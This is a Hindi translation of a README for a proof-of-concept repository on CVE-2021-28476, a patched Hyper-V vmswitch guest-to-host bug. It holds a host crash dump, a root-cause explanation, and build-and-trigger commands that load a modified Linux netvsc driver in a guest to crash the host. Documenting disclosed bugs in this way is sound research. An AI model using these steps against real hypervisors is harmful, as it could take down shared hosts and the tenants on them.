0vercl0k/cve-2021-28476CVE-2021-28476 के लिए PoC — vmswitch.sys में एक अतिथि-से-होस्ट "Hyper-V Remote Code Execution Vulnerability" (Hyper-V रिमोट कोड निष्पादन भेद्यता)।
यह CVE-2021-28476 ("हाइपर-V रिमोट कोड निष्पादन भेद्यता") के लिए एक प्रूफ ऑफ कॉन्सेप्ट है, जो vmswitch.sys (नेटवर्क वर्चुअलाइजेशन सेवा प्रदाता) में एक मनमानी मेमोरी रीड है, जिसे माइक्रोसॉफ्ट द्वारा मई 2021 में पैच किया गया था।
यह भेद्यता @australeo, @ergot86, @peleghd और @OphirHarpaz द्वारा पाई गई थी। यह एक गेस्ट वर्चुअल मशीन द्वारा VMBus पर एक दुर्भावनापूर्ण RNDIS पैकेट भेजने से ट्रिगर होती है (जो एक चैनल-आधारित संचार तंत्र है जिसका उपयोग इंटर-पार्टीशन संचार के लिए किया जाता है)।
डिबगर में होस्ट सिस्टम क्रैश इस तरह दिखता है:
*** Fatal System Error: 0x0000007e
(0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!DbgBreakPointWithStatus:
fffff801`31412c50 cc int 3
kd> .cxr 0xffffb70dd7eb6860
rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000
rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00
rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0
r8=0000000000000000 r9=000000000000013b r10=deadbeefbaadc0be
r11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001
r14=00000000000021f0 r15=fffff80ad4bc7360
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb:
fffff80a`d4a41a63 418b4a20 mov ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=????????
kd> kp
# Child-SP RetAddr Call Site
00 ffffb70d`d7eb7260 fffff80a`d4a3ee41 vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb
01 ffffb70d`d7eb7300 fffff80a`d4a3fc76 vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d
02 ffffb70d`d7eb7380 fffff80a`d4a3c779 vmswitch!RndisDevHostHandleSetMessage+0x196
03 ffffb70d`d7eb7420 fffff801`3136f423 vmswitch!RndisDevHostControlMessageWorkerRoutine+0x199
04 ffffb70d`d7eb74c0 fffff801`3123a975 nt!IopProcessWorkItem+0x93
05 ffffb70d`d7eb7530 fffff801`3132ce85 nt!ExpWorkerThread+0x105
06 ffffb70d`d7eb75d0 fffff801`31412408 nt!PspSystemThreadStartup+0x55
07 ffffb70d`d7eb7620 00000000`00000000 nt!KiStartSystemThread+0x28
बग स्वयं VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST में होता है, जो एक फ़ंक्शन है जिसे हमलावर-नियंत्रित डेटा (जो नहीं होना चाहिए) के साथ कॉल किया जा सकता है और एक पॉइंटर (boom->_win नीचे) को दो बार डीरेफरेंस करता है जिसे एक दुर्भावनापूर्ण गेस्ट वर्चुअल मशीन प्रदान कर सकती है।
यदि यह आपके लिए दिलचस्प है, तो @peleghd और @OphirHarpaz इस पर विस्तार से चर्चा करेंगे, साथ ही BlackHat USA 2021 प्रस्तुति में खोज प्रक्रिया भी, जिसका शीर्षक है hAFL1: हाइपर-V को फज़ करने और एक 0-डे खोजने की हमारी यात्रा।
PoC चलाने का सबसे आसान तरीका नवीनतम Ubuntu Focal चलाने वाली लिनक्स वर्चुअल मशीन बनाना है।
एक बार यह हो जाने पर, मिलान करने वाले कर्नेल स्रोतों को क्लोन करें:
$ uname -a
Linux tourdeforce 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git
$ cd ubuntu-focal
$ git checkout Ubuntu-5.4.0-73.82
$ git branch fbl_vswitch
$ git checkout fbl_vswitch
~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c को src/netvsc_drv.c, ~/ubuntu-focal/drivers/net/hyperv/rndis_filter.c को src/rndis_filter.c और ~/ubuntu-focal/drivers/net/hyperv/hyperv_net.h को src/hyperv_net.h से बदलें (पूर्ण अंतर cve-2021-28476.diff में उपलब्ध है):
$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves
$ cp /boot/config-5.4.0-73-generic .config
$ make oldconfig
$ make modules
$ make M=drivers/net/hyperv
अंत में, मॉड्यूल लोड करके और नेटवर्क इंटरफ़ेस का ईथरनेट पता बदलकर समस्या को ट्रिगर करें (यह क्रिया rndis_filter.c / netvsc_set_mac_addr में जोड़े गए विशिष्ट कोड-पथ को ट्रिगर करती है):
$ sudo rmmod hv_netvsc && insmod drivers/net/hyperv/hv_netvsc.ko
$ sudo ifconfig eth0 hw ether 00:11:22:33:44